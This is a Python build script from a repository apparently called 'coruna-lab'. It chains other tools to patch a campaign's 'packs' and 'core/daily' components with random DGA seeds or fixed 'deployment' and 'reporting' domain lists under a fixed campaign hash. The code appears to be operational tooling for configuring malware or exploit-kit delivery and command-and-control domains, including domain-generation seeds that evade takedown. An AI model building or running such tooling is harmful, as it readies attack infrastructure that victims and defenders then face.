Files
coruna-lab/tools/patch_all.py
T
hashbro d4fb538997 init
2026-08-05 04:04:06 +08:00

233 lines
7.1 KiB
Python

#!/usr/bin/env python3
"""All-in-one: patch secondary packs + core/daily (DGA seeds or fixed domain lists)."""
from __future__ import annotations
import argparse
import json
import secrets
import shutil
import subprocess
import sys
from pathlib import Path
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
def gen_seed() -> str:
"""32 lowercase hex chars (fits the 32-byte seed slot)."""
return secrets.token_hex(16)
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def ensure_working_tree(root: Path) -> None:
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch)."""
camp = root / "web" / CAMPAIGN_HASH
sync = root / "sync"
if camp.is_dir() and sync.is_dir():
return
src_web = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir():
raise SystemExit(
f"missing working tree and source template.\n"
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}"
)
print("=== bootstrap working tree from source/ ===")
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")):
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}")
print()
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Patch type0x01 + core/daily. Use either DGA seeds (default random) "
"or fixed --deployment-domains / --reporting-domains."
)
)
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--root",
type=Path,
help="project root with web/ + sync/ (required with --apply)",
)
parser.add_argument(
"--apply",
action="store_true",
help="write into --root web/ + sync/",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print when not using fixed domains (default 5)",
)
args = parser.parse_args()
if args.apply and not args.root:
raise SystemExit("--apply requires --root <project-dir>")
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.apply and args.root:
ensure_working_tree(args.root.resolve())
fixed_mode = bool(args.deployment_domains)
dep = args.deployment_seed or gen_seed()
rep = args.reporting_seed or gen_seed()
if dep == rep:
while rep == dep:
rep = gen_seed()
out_root = (args.root.resolve() / "out") if args.root else (LAB_ROOT / "out")
out_root.mkdir(parents=True, exist_ok=True)
seeds_path = out_root / "seeds.json"
seeds_path.write_text(
json.dumps(
{
"deployment_seed": dep,
"reporting_seed": rep,
"mode": "fixed_domains" if fixed_mode else "dga",
},
indent=2,
)
+ "\n"
)
print("=== seeds ===")
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
print(f"deployment: {dep}")
print(f"reporting: {rep}")
print(f"saved: {seeds_path}")
if args.root:
print(f"root: {args.root.resolve()}")
print()
py = sys.executable
apply = ["--apply"] if args.apply else []
root = ["--root", str(args.root.resolve())] if args.root else []
domain_args: list[str] = []
if fixed_mode:
for item in args.deployment_domains:
domain_args += ["--deployment-domains", item]
for item in args.reporting_domains:
domain_args += ["--reporting-domains", item]
print("=== 1/3 patch_secondary_packs ===")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
*domain_args,
*root,
*apply,
]
)
print()
print("=== 2/3 patch_core ===")
run(
[
py,
str(TOOLS / "patch_core.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
*domain_args,
*root,
*apply,
]
)
print()
domains_path = out_root / "domains.json"
if fixed_mode:
# Prefer MANIFEST from patch_core output
manifest_path = out_root / "sync" / "MANIFEST.json"
if not manifest_path.is_file():
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
manifest = json.loads(manifest_path.read_text())
domains = {
"mode": "fixed_domains",
"deployment": {"seed": dep, "domains": manifest["deployment_domains"]},
"reporting": {"seed": rep, "domains": manifest["reporting_domains"]},
}
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
print("=== 3/3 fixed domains ===")
else:
print("=== 3/3 compute_dga_domains ===")
result = subprocess.run(
[
py,
str(TOOLS / "compute_dga_domains.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(args.count),
"--json",
],
cwd=str(LAB_ROOT),
check=True,
capture_output=True,
text=True,
)
domains = json.loads(result.stdout)
domains["mode"] = "dga"
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
print()
print("=== final domains ===")
print(f"deployment seed={dep}")
for i, domain in enumerate(domains["deployment"]["domains"], 1):
print(f" {i:03d} {domain}")
print(f"reporting seed={rep}")
for i, domain in enumerate(domains["reporting"]["domains"], 1):
print(f" {i:03d} {domain}")
print()
print(f"seeds: {seeds_path}")
print(f"domains: {domains_path}")
if not args.apply:
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
return 0
if __name__ == "__main__":
raise SystemExit(main())